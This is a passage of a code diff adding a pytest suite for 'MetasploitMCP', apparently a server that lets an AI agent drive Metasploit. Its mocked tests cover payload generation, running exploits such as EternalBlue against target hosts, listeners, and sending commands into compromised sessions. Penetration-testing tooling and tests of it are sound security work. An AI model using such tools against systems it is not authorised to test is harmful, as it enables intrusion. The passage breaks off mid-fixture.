parser.add_argument("--install-deps", action="store_true", help="Install test dependencies")
args = parser.parse_args()
# Handle dependency installation
if args.install_deps:
return run_command([
sys.executable, "-m", "pip", "install", "-r", "requirements-test.txt"
], "Installing test dependencies")
# Check dependencies
if not check_dependencies():
return False
# Build pytest command
cmd = [sys.executable, "-m", "pytest"]
# Add verbosity
if args.verbose:
cmd.append("-v")
# Add coverage options
if args.coverage or args.html:
cmd.extend(["--cov=MetasploitMCP", "--cov-report=term-missing"])
if args.html:
cmd.append("--cov-report=html:htmlcov")
# Add slow/network test options
if args.slow:
cmd.append("--run-slow")
if args.network:
cmd.append("--run-network")
# Determine which tests to run
if args.options:
cmd.append("tests/test_options_parsing.py")
description = "Running options parsing tests"
elif args.helpers:
cmd.append("tests/test_helpers.py")
description = "Running helper function tests"
elif args.tools:
cmd.append("tests/test_tools_integration.py")
description = "Running MCP tools integration tests"
elif args.unit:
cmd.extend(["-m", "unit"])
description = "Running unit tests"
elif args.integration:
cmd.extend(["-m", "integration"])
description = "Running integration tests"
elif args.all:
cmd.append("tests/")
description = "Running all tests"
else:
# Default: run all tests
cmd.append("tests/")
description = "Running all tests (default)"
# Run the tests
success = run_command(cmd, description)
if success and (args.coverage or args.html):
print("\n📊 Coverage report generated")
if args.html:
html_path = Path("htmlcov/index.html").resolve()
print(f"📄 HTML report: file://{html_path}")
return success
if __name__ == "__main__":
success = main()
sys.exit(0 if success else 1)
tests/__init__.py
+1
View File
@@ -0,0 +1 @@
# Test package for MetasploitMCP
tests/test_helpers.py
+341
View File
@@ -0,0 +1,341 @@
#!/usr/bin/env python3
"""
Unit tests for helper functions in MetasploitMCP.
"""
import pytest
import sys
import os
import asyncio
from unittest.mock import Mock, patch, AsyncMock, MagicMock
from typing import Dict, Any
# Add the parent directory to the path to import MetasploitMCP
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
# Mock the dependencies that aren't available in test environment
sys.modules['uvicorn'] = Mock()
sys.modules['fastapi'] = Mock()
sys.modules['mcp.server.fastmcp'] = Mock()
sys.modules['mcp.server.sse'] = Mock()
sys.modules['pymetasploit3.msfrpc'] = Mock()
sys.modules['starlette.applications'] = Mock()
sys.modules['starlette.routing'] = Mock()
sys.modules['mcp.server.session'] = Mock()
# Create mock classes for MSF objects
class MockMsfRpcClient:
def __init__(self):
self.modules = Mock()
self.core = Mock()
self.sessions = Mock()
self.jobs = Mock()
self.consoles = Mock()
class MockMsfConsole:
def __init__(self, cid='test-console-id'):
self.cid = cid
def read(self):
return {'data': 'test output', 'prompt': 'msf6 > ', 'busy': False}
def write(self, command):
return True
class MockMsfRpcError(Exception):
pass
# Patch the MSF modules
sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient
sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole
sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError
# Import after mocking
from MetasploitMCP import (
_get_module_object, _set_module_options, initialize_msf_client,
get_msf_client, get_msf_console, run_command_safely,
find_available_port
)
class TestMsfClientFunctions:
"""Test MSF client initialization and management functions."""
@patch('MetasploitMCP.MSF_PASSWORD', 'test-password')
@patch('MetasploitMCP.MSF_SERVER', '127.0.0.1')
@patch('MetasploitMCP.MSF_PORT_STR', '55553')
@patch('MetasploitMCP.MSF_SSL_STR', 'false')
def test_initialize_msf_client_success(self):
"""Test successful MSF client initialization."""
with patch('MetasploitMCP._msf_client_instance', None):
with patch('MetasploitMCP.MsfRpcClient') as mock_client_class:
mock_client = Mock()
mock_client.core.version = {'version': '6.3.0'}
mock_client_class.return_value = mock_client
result = initialize_msf_client()
assert result is mock_client
mock_client_class.assert_called_once_with(
password='test-password',
server='127.0.0.1',
port=55553,
ssl=False
)
@patch('MetasploitMCP.MSF_PORT_STR', 'invalid-port')
def test_initialize_msf_client_invalid_port(self):
"""Test MSF client initialization with invalid port."""
with patch('MetasploitMCP._msf_client_instance', None):
with pytest.raises(ValueError, match="Invalid MSF connection parameters"):
initialize_msf_client()
def test_get_msf_client_not_initialized(self):
"""Test get_msf_client when client not initialized."""
with patch('MetasploitMCP._msf_client_instance', None):
with pytest.raises(ConnectionError, match="not been initialized"):
get_msf_client()
def test_get_msf_client_initialized(self):
"""Test get_msf_client when client is initialized."""
mock_client = Mock()
with patch('MetasploitMCP._msf_client_instance', mock_client):
result = get_msf_client()
assert result is mock_client
class TestGetModuleObject:
"""Test the _get_module_object helper function."""
@pytest.fixture
def mock_client(self):
"""Fixture providing a mock MSF client."""
client = Mock()
with patch('MetasploitMCP.get_msf_client', return_value=client):
yield client
@pytest.mark.asyncio
async def test_get_module_object_success(self, mock_client):
"""Test successful module object retrieval."""
mock_module = Mock()
mock_client.modules.use.return_value = mock_module
result = await _get_module_object('exploit', 'windows/smb/ms17_010_eternalblue')
assert result is mock_module
mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue')
@pytest.mark.asyncio
async def test_get_module_object_full_path(self, mock_client):
"""Test module object retrieval with full path."""
mock_module = Mock()
mock_client.modules.use.return_value = mock_module
result = await _get_module_object('exploit', 'exploit/windows/smb/ms17_010_eternalblue')
assert result is mock_module
# Should strip the module type prefix
mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue')
@pytest.mark.asyncio
async def test_get_module_object_not_found(self, mock_client):
"""Test module object retrieval when module not found."""
mock_client.modules.use.side_effect = KeyError("Module not found")
with pytest.raises(ValueError, match="not found"):
await _get_module_object('exploit', 'nonexistent/module')
@pytest.mark.asyncio
async def test_get_module_object_msf_error(self, mock_client):
"""Test module object retrieval with MSF RPC error."""
mock_client.modules.use.side_effect = MockMsfRpcError("RPC Error")
with pytest.raises(MockMsfRpcError, match="RPC Error"):
await _get_module_object('exploit', 'test/module')
class TestSetModuleOptions:
"""Test the _set_module_options helper function."""
@pytest.fixture
def mock_module(self):
"""Fixture providing a mock module object."""
module = Mock()
module.fullname = 'exploit/test/module'
module.__setitem__ = Mock()
return module
@pytest.mark.asyncio
async def test_set_module_options_basic(self, mock_module):
"""Test basic option setting."""
options = {'RHOSTS': '192.168.1.1', 'RPORT': '80'}
await _set_module_options(mock_module, options)
# Should be called twice, once for each option
assert mock_module.__setitem__.call_count == 2
mock_module.__setitem__.assert_any_call('RHOSTS', '192.168.1.1')
mock_module.__setitem__.assert_any_call('RPORT', 80) # Type conversion: '80' -> 80
@pytest.mark.asyncio
async def test_set_module_options_type_conversion(self, mock_module):
"""Test option setting with type conversion."""
options = {
'RPORT': '80', # String number -> int
'SSL': 'true', # String boolean -> bool
'VERBOSE': 'false', # String boolean -> bool
'THREADS': '10' # String number -> int
}
await _set_module_options(mock_module, options)
# Verify type conversions
calls = mock_module.__setitem__.call_args_list
call_dict = {call[0][0]: call[0][1] for call in calls}
assert call_dict['RPORT'] == 80
assert call_dict['SSL'] is True
assert call_dict['VERBOSE'] is False
assert call_dict['THREADS'] == 10
@pytest.mark.asyncio
async def test_set_module_options_error(self, mock_module):
"""Test option setting with error."""
mock_module.__setitem__.side_effect = KeyError("Invalid option")
options = {'INVALID_OPT': 'value'}
with pytest.raises(ValueError, match="Failed to set option"):
await _set_module_options(mock_module, options)
class TestGetMsfConsole:
"""Test the get_msf_console context manager."""
@pytest.fixture
def mock_client(self):
"""Fixture providing a mock MSF client."""
client = Mock()
with patch('MetasploitMCP.get_msf_client', return_value=client):
yield client
@pytest.mark.asyncio
async def test_get_msf_console_success(self, mock_client):
"""Test successful console creation and cleanup."""
mock_console = MockMsfConsole('test-console-123')
mock_client.consoles.console.return_value = mock_console
mock_client.consoles.destroy.return_value = 'destroyed'
# Mock the global client instance for cleanup
with patch('MetasploitMCP._msf_client_instance', mock_client):
async with get_msf_console() as console:
assert console is mock_console
assert console.cid == 'test-console-123'
# Verify cleanup was called
mock_client.consoles.destroy.assert_called_once_with('test-console-123')
@pytest.mark.asyncio
async def test_get_msf_console_creation_error(self, mock_client):
"""Test console creation error handling."""
mock_client.consoles.console.side_effect = MockMsfRpcError("Console creation failed")
with pytest.raises(MockMsfRpcError, match="Console creation failed"):
async with get_msf_console() as console:
pass
@pytest.mark.asyncio
async def test_get_msf_console_cleanup_error(self, mock_client):
"""Test that cleanup errors don't propagate."""
mock_console = MockMsfConsole('test-console-123')
mock_client.consoles.console.return_value = mock_console
mock_client.consoles.destroy.side_effect = Exception("Cleanup failed")
# Should not raise exception even if cleanup fails
async with get_msf_console() as console:
assert console is mock_console
class TestRunCommandSafely:
"""Test the run_command_safely function."""
@pytest.fixture
def mock_console(self):
"""Fixture providing a mock console."""
console = Mock()
console.write = Mock()
console.read = Mock()
return console
@pytest.mark.asyncio
async def test_run_command_safely_basic(self, mock_console):
"""Test basic command execution."""
# Mock console read to return prompt immediately
mock_console.read.return_value = {
'data': 'command output\n',
'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02',
'busy': False
}
result = await run_command_safely(mock_console, 'help')
mock_console.write.assert_called_once_with('help\n')
assert 'command output' in result
@pytest.mark.asyncio
async def test_run_command_safely_invalid_console(self, mock_console):
"""Test command execution with invalid console."""
# Remove required methods
delattr(mock_console, 'write')
with pytest.raises(TypeError, match="Unsupported console object"):
await run_command_safely(mock_console, 'help')
@pytest.mark.asyncio
async def test_run_command_safely_read_error(self, mock_console):
"""Test command execution with read error - should timeout gracefully."""
mock_console.read.side_effect = Exception("Read failed")
# Should not raise exception, but timeout and return empty result
result = await run_command_safely(mock_console, 'help')
# Should return empty string after timeout
assert isinstance(result, str)
assert result == "" # Empty result after timeout
class TestFindAvailablePort:
"""Test the find_available_port utility function."""
def test_find_available_port_success(self):
"""Test finding an available port."""
# This should succeed as it tests real socket binding
port = find_available_port(8080, max_attempts=5)
assert isinstance(port, int)
assert 8080 <= port < 8085
@patch('socket.socket')
def test_find_available_port_all_busy(self, mock_socket_class):
"""Test when all ports in range are busy."""
mock_socket = Mock()
mock_socket_class.return_value.__enter__.return_value = mock_socket
mock_socket.bind.side_effect = OSError("Port in use")
# Should return the start port as fallback
port = find_available_port(8080, max_attempts=3)
assert port == 8080
@patch('socket.socket')
def test_find_available_port_second_attempt(self, mock_socket_class):
"""Test finding port on second attempt."""
mock_socket = Mock()
mock_socket_class.return_value.__enter__.return_value = mock_socket
# First call fails, second succeeds
mock_socket.bind.side_effect = [OSError("Port in use"), None]
port = find_available_port(8080, max_attempts=3)
assert port == 8081
if __name__ == "__main__":
pytest.main([__file__, "-v"])
tests/test_options_parsing.py
+247
View File
@@ -0,0 +1,247 @@
#!/usr/bin/env python3
"""
Unit tests for the options parsing functionality in MetasploitMCP.
"""
import pytest
import sys
import os
from unittest.mock import Mock, patch
from typing import Dict, Any, Union
# Add the parent directory to the path to import MetasploitMCP
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
# Mock the dependencies that aren't available in test environment
sys.modules['uvicorn'] = Mock()
sys.modules['fastapi'] = Mock()
sys.modules['mcp.server.fastmcp'] = Mock()
sys.modules['mcp.server.sse'] = Mock()
sys.modules['pymetasploit3.msfrpc'] = Mock()
sys.modules['starlette.applications'] = Mock()
sys.modules['starlette.routing'] = Mock()
sys.modules['mcp.server.session'] = Mock()
# Import the function we want to test
from MetasploitMCP import _parse_options_gracefully
class TestParseOptionsGracefully:
"""Test cases for the _parse_options_gracefully function."""
def test_dict_format_passthrough(self):
"""Test that dictionary format is passed through unchanged."""
input_dict = {"LHOST": "192.168.1.100", "LPORT": 4444}
result = _parse_options_gracefully(input_dict)
assert result == input_dict
assert result is input_dict # Should be the same object
def test_none_returns_empty_dict(self):
"""Test that None input returns empty dictionary."""
result = _parse_options_gracefully(None)
assert result == {}
assert isinstance(result, dict)
def test_empty_string_returns_empty_dict(self):
"""Test that empty string returns empty dictionary."""
result = _parse_options_gracefully("")
assert result == {}
result = _parse_options_gracefully(" ")
assert result == {}
def test_empty_dict_returns_empty_dict(self):
"""Test that empty dictionary returns empty dictionary."""
result = _parse_options_gracefully({})
assert result == {}
def test_simple_string_format(self):
"""Test basic string format parsing."""
input_str = "LHOST=192.168.1.100,LPORT=4444"
expected = {"LHOST": "192.168.1.100", "LPORT": 4444}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_string_format_with_spaces(self):
"""Test string format with extra spaces."""
input_str = " LHOST = 192.168.1.100 , LPORT = 4444 "
expected = {"LHOST": "192.168.1.100", "LPORT": 4444}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_string_format_with_quotes(self):
"""Test string format with quoted values."""
input_str = 'LHOST="192.168.1.100",LPORT="4444"'
expected = {"LHOST": "192.168.1.100", "LPORT": 4444}
result = _parse_options_gracefully(input_str)
assert result == expected
input_str = "LHOST='192.168.1.100',LPORT='4444'"
result = _parse_options_gracefully(input_str)
assert result == expected
def test_boolean_conversion(self):
"""Test boolean value conversion."""
input_str = "ExitOnSession=true,Verbose=false,Debug=TRUE,Silent=FALSE"
expected = {
"ExitOnSession": True,
"Verbose": False,
"Debug": True,
"Silent": False
}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_numeric_conversion(self):
"""Test numeric value conversion."""
input_str = "LPORT=4444,Timeout=30,Retries=5"
expected = {"LPORT": 4444, "Timeout": 30, "Retries": 5}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_mixed_types(self):
"""Test parsing with mixed value types."""
input_str = "LHOST=192.168.1.100,LPORT=4444,SSL=true,Retries=3"
expected = {
"LHOST": "192.168.1.100",
"LPORT": 4444,
"SSL": True,
"Retries": 3
}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_equals_in_value(self):
"""Test parsing when value contains equals sign."""
input_str = "LURI=/test=value,LHOST=192.168.1.1"
expected = {"LURI": "/test=value", "LHOST": "192.168.1.1"}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_complex_values(self):
"""Test parsing complex values like file paths and URLs."""
input_str = "CertFile=/path/to/cert.pem,URL=https://example.com:8443/api,Command=ls -la"
expected = {
"CertFile": "/path/to/cert.pem",
"URL": "https://example.com:8443/api",
"Command": "ls -la"
}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_single_option(self):
"""Test parsing single option."""
input_str = "LHOST=192.168.1.100"
expected = {"LHOST": "192.168.1.100"}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_error_missing_equals(self):
"""Test error handling for missing equals sign."""
with pytest.raises(ValueError, match="missing '='"):
_parse_options_gracefully("LHOST192.168.1.100")
with pytest.raises(ValueError, match="missing '='"):
_parse_options_gracefully("LHOST=192.168.1.100,LPORT4444")
def test_error_empty_key(self):
"""Test error handling for empty key."""
with pytest.raises(ValueError, match="empty key"):
_parse_options_gracefully("=value")
with pytest.raises(ValueError, match="empty key"):
_parse_options_gracefully("LHOST=192.168.1.100,=4444")
def test_error_invalid_type(self):
"""Test error handling for invalid input types."""
with pytest.raises(ValueError, match="Options must be a dictionary"):
_parse_options_gracefully(123)
with pytest.raises(ValueError, match="Options must be a dictionary"):
_parse_options_gracefully([1, 2, 3])
def test_whitespace_handling(self):
"""Test various whitespace scenarios."""
# Leading/trailing spaces in whole string
result = _parse_options_gracefully(" LHOST=192.168.1.100,LPORT=4444 ")
expected = {"LHOST": "192.168.1.100", "LPORT": 4444}
assert result == expected
# Spaces around commas
result = _parse_options_gracefully("LHOST=192.168.1.100 , LPORT=4444")
assert result == expected
# Multiple spaces
result = _parse_options_gracefully("LHOST=192.168.1.100, LPORT=4444")
assert result == expected
def test_edge_case_empty_value(self):
"""Test handling of empty values."""
input_str = "LHOST=192.168.1.100,EmptyValue="
expected = {"LHOST": "192.168.1.100", "EmptyValue": ""}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_quoted_empty_value(self):
"""Test handling of quoted empty values."""
input_str = 'LHOST=192.168.1.100,EmptyValue=""'
expected = {"LHOST": "192.168.1.100", "EmptyValue": ""}
result = _parse_options_gracefully(input_str)
assert result == expected
def test_special_characters_in_values(self):
"""Test handling of special characters in values."""
input_str = "Password=p@ssw0rd!,Path=/home/user/file.txt,Regex=\\d+"
expected = {
"Password": "p@ssw0rd!",
"Path": "/home/user/file.txt",
"Regex": "\\d+"
}
result = _parse_options_gracefully(input_str)
assert result == expected
@pytest.mark.parametrize("input_val,expected", [
# Basic cases
({"key": "value"}, {"key": "value"}),
("key=value", {"key": "value"}),
(None, {}),
("", {}),
# Type conversions
("port=8080", {"port": 8080}),
("enabled=true", {"enabled": True}),
("disabled=false", {"disabled": False}),
# Complex cases
("a=1,b=true,c=text", {"a": 1, "b": True, "c": "text"}),
])
def test_parametrized_cases(self, input_val, expected):
"""Parametrized test cases for various inputs."""
result = _parse_options_gracefully(input_val)
assert result == expected
def test_large_number_handling(self):
"""Test handling of large numbers that might not fit in int."""
# Python can handle very large integers, so use a string that definitely isn't a number
mixed_num = "999999999999999999999abc"
input_str = f"BigNumber={mixed_num}"
result = _parse_options_gracefully(input_str)
# The function tries int conversion but falls back to string on error
assert result["BigNumber"] == mixed_num
assert isinstance(result["BigNumber"], str)
def test_logging_behavior(self):
"""Test that logging occurs during string conversion."""
with patch('MetasploitMCP.logger') as mock_logger:
_parse_options_gracefully("LHOST=192.168.1.100,LPORT=4444")
# Should log the conversion
assert mock_logger.info.call_count >= 1
# Should contain conversion messages
call_args = [call[0][0] for call in mock_logger.info.call_args_list]
assert any("Converting string format" in msg for msg in call_args)
assert any("Successfully converted" in msg for msg in call_args)
if __name__ == "__main__":
pytest.main([__file__, "-v"])
tests/test_tools_integration.py
+571
View File
@@ -0,0 +1,571 @@
#!/usr/bin/env python3
"""
Integration tests for MCP tools in MetasploitMCP.
These tests mock the Metasploit backend but test the full tool workflows.
"""
import pytest
import sys
import os
import asyncio
from unittest.mock import Mock, patch, AsyncMock, MagicMock
from typing import Dict, Any
# Add the parent directory to the path to import MetasploitMCP
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
# Mock the dependencies that aren't available in test environment
sys.modules['uvicorn'] = Mock()
sys.modules['fastapi'] = Mock()
sys.modules['starlette.applications'] = Mock()
sys.modules['starlette.routing'] = Mock()
# Create a special mock for FastMCP that preserves the tool decorator behavior
class MockFastMCP:
def __init__(self, *args, **kwargs):
pass
def tool(self):
# Return a decorator that just returns the original function
def decorator(func):
return func
return decorator
# Mock the MCP modules with our custom FastMCP
mcp_server_fastmcp = Mock()
mcp_server_fastmcp.FastMCP = MockFastMCP
sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp
sys.modules['mcp.server.sse'] = Mock()
sys.modules['mcp.server.session'] = Mock()
# Mock pymetasploit3 module
sys.modules['pymetasploit3.msfrpc'] = Mock()
# Create comprehensive mock classes
class MockMsfRpcClient:
def __init__(self):
self.modules = Mock()
self.core = Mock()
self.sessions = Mock()
self.jobs = Mock()
self.consoles = Mock()
# Setup default behaviors
self.core.version = {'version': '6.3.0'}
# These are properties that return lists
self.modules.exploits = ['windows/smb/ms17_010_eternalblue', 'unix/ftp/vsftpd_234_backdoor']
self.modules.payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/shell/reverse_tcp']
# These are methods that return dicts
self.sessions.list = Mock(return_value={})
self.jobs.list = Mock(return_value={})
class MockMsfConsole:
def __init__(self, cid='test-console-id'):
self.cid = cid
self._command_history = []
def read(self):
return {'data': 'msf6 > ', 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', 'busy': False}
def write(self, command):
self._command_history.append(command.strip())
return True
class MockMsfModule:
def __init__(self, fullname):
self.fullname = fullname
self.options = {}
# Create a proper mock for runoptions that supports __setitem__
self.runoptions = {}
self.missing_required = []
def __setitem__(self, key, value):
self.options[key] = value
def execute(self, payload=None):
return {
'job_id': 1234,
'uuid': 'test-uuid-123',
'error': False
}
def payload_generate(self):
return b"test_payload_bytes"
class MockMsfRpcError(Exception):
pass
# Apply mocks
sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient
sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole
sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError
# Import the module and then get the actual functions
import MetasploitMCP
# Get the actual functions (not mocked)
list_exploits = MetasploitMCP.list_exploits
list_payloads = MetasploitMCP.list_payloads
generate_payload = MetasploitMCP.generate_payload
run_exploit = MetasploitMCP.run_exploit
run_post_module = MetasploitMCP.run_post_module
run_auxiliary_module = MetasploitMCP.run_auxiliary_module
list_active_sessions = MetasploitMCP.list_active_sessions
send_session_command = MetasploitMCP.send_session_command
start_listener = MetasploitMCP.start_listener
stop_job = MetasploitMCP.stop_job
terminate_session = MetasploitMCP.terminate_session
class TestExploitListingTools:
"""Test tools for listing exploits and payloads."""
@pytest.fixture
def mock_client(self):
"""Fixture providing a mock MSF client."""
client = MockMsfRpcClient()
with patch('MetasploitMCP.get_msf_client', return_value=client):
yield client
@pytest.mark.asyncio
async def test_list_exploits_no_filter(self, mock_client):
"""Test listing exploits without filter."""
mock_client.modules.exploits = [
'windows/smb/ms17_010_eternalblue',
'unix/ftp/vsftpd_234_backdoor',
'windows/http/iis_webdav_upload_asp'
]
result = await list_exploits()
assert isinstance(result, list)
assert len(result) == 3
assert 'windows/smb/ms17_010_eternalblue' in result
@pytest.mark.asyncio
async def test_list_exploits_with_filter(self, mock_client):
"""Test listing exploits with search term."""
mock_client.modules.exploits = [
'windows/smb/ms17_010_eternalblue',
'unix/ftp/vsftpd_234_backdoor',
'windows/smb/ms08_067_netapi'
]
result = await list_exploits("smb")
assert isinstance(result, list)
assert len(result) == 2
assert all('smb' in exploit.lower() for exploit in result)
@pytest.mark.asyncio
async def test_list_exploits_error(self, mock_client):
"""Test listing exploits with MSF error."""
mock_client.modules.exploits = Mock(side_effect=MockMsfRpcError("Connection failed"))
result = await list_exploits()
assert isinstance(result, list)
assert len(result) == 1
assert "Error" in result[0]
@pytest.mark.asyncio
async def test_list_exploits_timeout(self, mock_client):
"""Test listing exploits with timeout."""
import asyncio
def slow_exploits():
# Simulate a slow response that would timeout
import time
time.sleep(35) # Longer than RPC_CALL_TIMEOUT (30s)
return ['exploit1', 'exploit2']
mock_client.modules.exploits = slow_exploits
result = await list_exploits()
assert isinstance(result, list)
assert len(result) == 1
assert "Timeout" in result[0]
assert "30" in result[0] # Should mention the timeout duration
@pytest.mark.asyncio
async def test_list_payloads_no_filter(self, mock_client):
"""Test listing payloads without filter."""
mock_client.modules.payloads = [
'windows/meterpreter/reverse_tcp',
'linux/x86/shell/reverse_tcp',
'windows/shell/reverse_tcp'
]
result = await list_payloads()
assert isinstance(result, list)
assert len(result) == 3
@pytest.mark.asyncio
async def test_list_payloads_with_platform_filter(self, mock_client):
"""Test listing payloads with platform filter."""
mock_client.modules.payloads = [
'windows/meterpreter/reverse_tcp',
'linux/x86/shell/reverse_tcp',
'windows/shell/reverse_tcp'
]
result = await list_payloads(platform="windows")
assert isinstance(result, list)
assert len(result) == 2
assert all('windows' in payload.lower() for payload in result)
@pytest.mark.asyncio
async def test_list_payloads_with_arch_filter(self, mock_client):
"""Test listing payloads with architecture filter."""
mock_client.modules.payloads = [
'windows/meterpreter/reverse_tcp',
'linux/x86/shell/reverse_tcp',
'windows/x64/meterpreter/reverse_tcp'
]
result = await list_payloads(arch="x86")
assert isinstance(result, list)
assert len(result) == 1
assert 'x86' in result[0]
class TestPayloadGeneration:
"""Test payload generation functionality."""
@pytest.fixture
def mock_client_and_module(self):
"""Fixture providing mocked client and module."""
client = MockMsfRpcClient()
module = MockMsfModule('payload/windows/meterpreter/reverse_tcp')
with patch('MetasploitMCP.get_msf_client', return_value=client):
with patch('MetasploitMCP._get_module_object', return_value=module):
with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', '/tmp/test'):
with patch('os.makedirs'):
with patch('builtins.open', create=True) as mock_open:
mock_open.return_value.__enter__.return_value.write = Mock()
yield client, module
@pytest.mark.asyncio
async def test_generate_payload_dict_options(self, mock_client_and_module):
"""Test payload generation with dictionary options."""
client, module = mock_client_and_module
options = {"LHOST": "192.168.1.100", "LPORT": 4444}
result = await generate_payload(
payload_type="windows/meterpreter/reverse_tcp",
format_type="exe",
options=options
)
assert result["status"] == "success"
assert "server_save_path" in result
assert result["payload_size"] == len(b"test_payload_bytes")
@pytest.mark.asyncio
async def test_generate_payload_string_options(self, mock_client_and_module):
"""Test payload generation with string options."""
client, module = mock_client_and_module
options = "LHOST=192.168.1.100,LPORT=4444"
result = await generate_payload(
payload_type="windows/meterpreter/reverse_tcp",
format_type="exe",
options=options
)
assert result["status"] == "success"
# Verify the options were parsed correctly
assert module.options["LHOST"] == "192.168.1.100"
assert module.options["LPORT"] == 4444
@pytest.mark.asyncio
async def test_generate_payload_empty_options(self, mock_client_and_module):
"""Test payload generation with empty options."""
client, module = mock_client_and_module
result = await generate_payload(
payload_type="windows/meterpreter/reverse_tcp",
format_type="exe",
options={}
)
assert result["status"] == "error"
assert "required" in result["message"]
@pytest.mark.asyncio
async def test_generate_payload_invalid_string_options(self, mock_client_and_module):
"""Test payload generation with invalid string options."""
client, module = mock_client_and_module
result = await generate_payload(
payload_type="windows/meterpreter/reverse_tcp",
format_type="exe",
options="LHOST192.168.1.100" # Missing equals
)
assert result["status"] == "error"
assert "Invalid options format" in result["message"]
class TestExploitExecution:
"""Test exploit execution functionality."""
@pytest.fixture
def mock_exploit_environment(self):
"""Fixture providing mocked exploit execution environment."""
client = MockMsfRpcClient()
module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue')
with patch('MetasploitMCP.get_msf_client', return_value=client):
with patch('MetasploitMCP._execute_module_rpc') as mock_rpc:
with patch('MetasploitMCP._execute_module_console') as mock_console:
mock_rpc.return_value = {
"status": "success",
"message": "Exploit executed",
"job_id": 1234,
"session_id": 5678
}
mock_console.return_value = {
"status": "success",
"message": "Exploit executed via console",
"module_output": "Session 1 opened"
}
yield client, mock_rpc, mock_console
@pytest.mark.asyncio
async def test_run_exploit_dict_payload_options(self, mock_exploit_environment):
"""Test exploit execution with dictionary payload options."""
client, mock_rpc, mock_console = mock_exploit_environment
result = await run_exploit(
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "192.168.1.1"},
payload_name="windows/meterpreter/reverse_tcp",
payload_options={"LHOST": "192.168.1.100", "LPORT": 4444},
run_as_job=True
)
assert result["status"] == "success"
mock_rpc.assert_called_once()
@pytest.mark.asyncio
async def test_run_exploit_string_payload_options(self, mock_exploit_environment):
"""Test exploit execution with string payload options."""
client, mock_rpc, mock_console = mock_exploit_environment
result = await run_exploit(
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "192.168.1.1"},
payload_name="windows/meterpreter/reverse_tcp",
payload_options="LHOST=192.168.1.100,LPORT=4444",
run_as_job=True
)
assert result["status"] == "success"
# Verify RPC was called with parsed options
call_args = mock_rpc.call_args
payload_spec = call_args[1]['payload_spec']
assert payload_spec['options']['LHOST'] == "192.168.1.100"
assert payload_spec['options']['LPORT'] == 4444
@pytest.mark.asyncio
async def test_run_exploit_invalid_payload_options(self, mock_exploit_environment):
"""Test exploit execution with invalid payload options."""
client, mock_rpc, mock_console = mock_exploit_environment
result = await run_exploit(
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "192.168.1.1"},
payload_name="windows/meterpreter/reverse_tcp",
payload_options="LHOST192.168.1.100", # Invalid format
run_as_job=True
)
assert result["status"] == "error"
assert "Invalid payload_options format" in result["message"]
@pytest.mark.asyncio
async def test_run_exploit_console_mode(self, mock_exploit_environment):
"""Test exploit execution in console mode."""
client, mock_rpc, mock_console = mock_exploit_environment
result = await run_exploit(
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "192.168.1.1"},
payload_name="windows/meterpreter/reverse_tcp",
payload_options={"LHOST": "192.168.1.100", "LPORT": 4444},
run_as_job=False # Console mode
)
assert result["status"] == "success"
mock_console.assert_called_once()
mock_rpc.assert_not_called()
class TestSessionManagement:
"""Test session management functionality."""
@pytest.fixture
def mock_session_environment(self):
"""Fixture providing mocked session management environment."""
client = MockMsfRpcClient()
session = Mock()
session.run_with_output = Mock(return_value="command output")
session.read = Mock(return_value="session data")
session.write = Mock()
session.stop = Mock()
# Override the default Mock with actual dict return values
client.sessions.list = Mock(return_value={
"1": {"type": "meterpreter", "info": "Windows session"},
"2": {"type": "shell", "info": "Linux session"}
})
client.sessions.session = Mock(return_value=session)
with patch('MetasploitMCP.get_msf_client', return_value=client):
yield client, session
@pytest.mark.asyncio
async def test_list_active_sessions(self, mock_session_environment):
"""Test listing active sessions."""
client, session = mock_session_environment
result = await list_active_sessions()
assert result["status"] == "success"
assert result["count"] == 2
assert "1" in result["sessions"]
assert "2" in result["sessions"]
@pytest.mark.asyncio
async def test_send_session_command_meterpreter(self, mock_session_environment):
"""Test sending command to Meterpreter session."""
client, session = mock_session_environment
result = await send_session_command(1, "sysinfo")
assert result["status"] == "success"
session.run_with_output.assert_called_once_with("sysinfo")
@pytest.mark.asyncio
async def test_send_session_command_nonexistent(self, mock_session_environment):
"""Test sending command to non-existent session."""
client, session = mock_session_environment
client.sessions.list.return_value = {} # No sessions
result = await send_session_command(999, "whoami")
assert result["status"] == "error"
assert "not found" in result["message"]
@pytest.mark.asyncio
async def test_terminate_session(self, mock_session_environment):
"""Test session termination."""
client, session = mock_session_environment
# Mock session disappearing after termination
client.sessions.list.side_effect = [
{"1": {"type": "meterpreter"}}, # Before termination
{} # After termination
]
result = await terminate_session(1)
assert result["status"] == "success"
session.stop.assert_called_once()
class TestListenerManagement:
"""Test listener and job management functionality."""
@pytest.fixture
def mock_job_environment(self):
"""Fixture providing mocked job management environment."""
client = MockMsfRpcClient()
# Override the default Mock with actual dict return values
client.jobs.list = Mock(return_value={})
client.jobs.stop = Mock(return_value="stopped")
